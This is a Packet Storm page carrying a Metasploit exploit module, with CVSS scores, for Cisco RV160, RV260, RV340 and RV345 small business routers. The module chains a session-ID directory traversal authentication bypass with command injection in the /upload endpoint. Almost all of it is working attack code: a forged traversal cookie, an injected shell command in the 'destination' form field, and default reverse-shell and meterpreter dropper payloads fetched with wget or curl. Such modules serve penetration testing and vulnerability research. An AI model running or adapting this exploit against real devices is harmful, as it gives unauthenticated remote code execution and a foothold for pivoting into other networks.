Lucene search

K
packetstormJbaines-r7, Biem Pham, Neterum, metasploit.comPACKETSTORM:170988
HistoryFeb 14, 2023 - 12:00 a.m.

Cisco RV Series Authentication Bypass / Command Injection

2023-02-1400:00:00
jbaines-r7, Biem Pham, Neterum, metasploit.com
packetstormsecurity.com
145

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cisco RV Series Authentication Bypass and Command Injection',  
'Description' => %q{  
This module exploits two vulnerabilities, a session ID directory traversal authentication  
bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,  
and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.  
This access can then be used to pivot to other parts of the network. This module works on firmware  
versions 1.0.03.24 and below.  
},  
'License' => MSF_LICENSE,  
'Platform' => ['linux', 'unix'],  
'Author' => [  
'Biem Pham', # Vulnerability Discoveries  
'Neterum', # Metasploit Module  
'jbaines-r7' # Inspired from cisco_rv_series_authbypass_and_rce.rb  
],  
'DisclosureDate' => '2021-11-02',  
'Arch' => [ARCH_CMD, ARCH_ARMLE],  
'References' => [  
['CVE', '2022-20705'], # Authentication Bypass  
['CVE', '2022-20707'], # Command Injection  
['ZDI', '22-410'], # Authentication Bypass  
['ZDI', '22-411'] # Command Injection  
],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'Payload' => {  
'BadChars' => '\'#'  
},  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_netcat'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_ARMLE],  
'Type' => :linux_dropper,  
'Payload' => {  
'BadChars' => '\'#'  
},  
'CmdStagerFlavor' => [ 'wget', 'curl' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'MeterpreterTryToFork' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
]  
)  
end  
  
# sessionid utilized later needs to be set to length  
# of 16 or exploit will fail. Tested with lengths  
# 14-17  
def generate_session_id  
return Rex::Text.rand_text_alphanumeric(16)  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/upload',  
'headers' => {  
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id  
}  
}, 10)  
  
# A proper "upload" will trigger file creation. So the send_request_cgi call  
# above is an incorrect "upload" call to avoid creating a file on disk. The router will return  
# status code 405 Not Allowed if authentication has been bypassed by the above request.  
# The firmware containing this authentication bypass also contains the command injection  
# vulnerability that will be abused during actual exploitation. Non-vulnerable  
# firmware versions will respond with 403 Forbidden.  
if res.nil?  
return CheckCode::Unknown('The device did not respond to request packet.')  
elsif res.code == 405  
return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.')  
elsif res.code == 403  
return CheckCode::Safe('The device is not vulnerable to exploitation.')  
else # Catch-all  
return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.')  
end  
end  
  
def execute_command(cmd, _opts = {})  
res = send_exploit(cmd)  
  
# Successful unix_cmd shells should not produce a response.  
# However if a response is returned, check the status code and return  
# Failure::NotVulnerable if it is 403 Forbidden.  
if target['Type'] == :unix_cmd && res&.code == 403  
fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable')  
end  
  
if target['Type'] == :linux_dropper  
fail_with(Failure::Unreachable, 'The target did not respond') unless res  
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200  
begin  
body_json = res.get_json_document  
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json  
rescue JSON::ParserError => e  
print_error("Failed: #{e.class} - #{e.message}")  
fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!')  
end  
end  
  
print_good('Exploit successfully executed.')  
end  
  
def send_exploit(cmd)  
filename = Rex::Text.rand_text_alphanumeric(5..12)  
fileparam = Rex::Text.rand_text_alphanumeric(5..12)  
input = Rex::Text.rand_text_alphanumeric(5..12)  
  
# sessionid utilized later needs to be set to length  
# of 16 or exploit will fail. Tested with lengths  
# 14-17  
sessionid = Rex::Text.rand_text_alphanumeric(16)  
  
filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.  
pathparam = 'Configuration'  
  
destination = "'; " + cmd + ' #'  
  
multipart_form = Rex::MIME::Message.new  
multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')  
multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"')  
multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"')  
multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"')  
multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')  
multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename))  
  
# Escaping "/tmp/upload/" folder that does not contain any other permanent files  
send_request_cgi({  
'method' => 'POST',  
'uri' => '/upload',  
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",  
'headers' => {  
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid  
},  
'data' => multipart_form.to_s  
}, 10)  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(linemax: 120)  
end  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P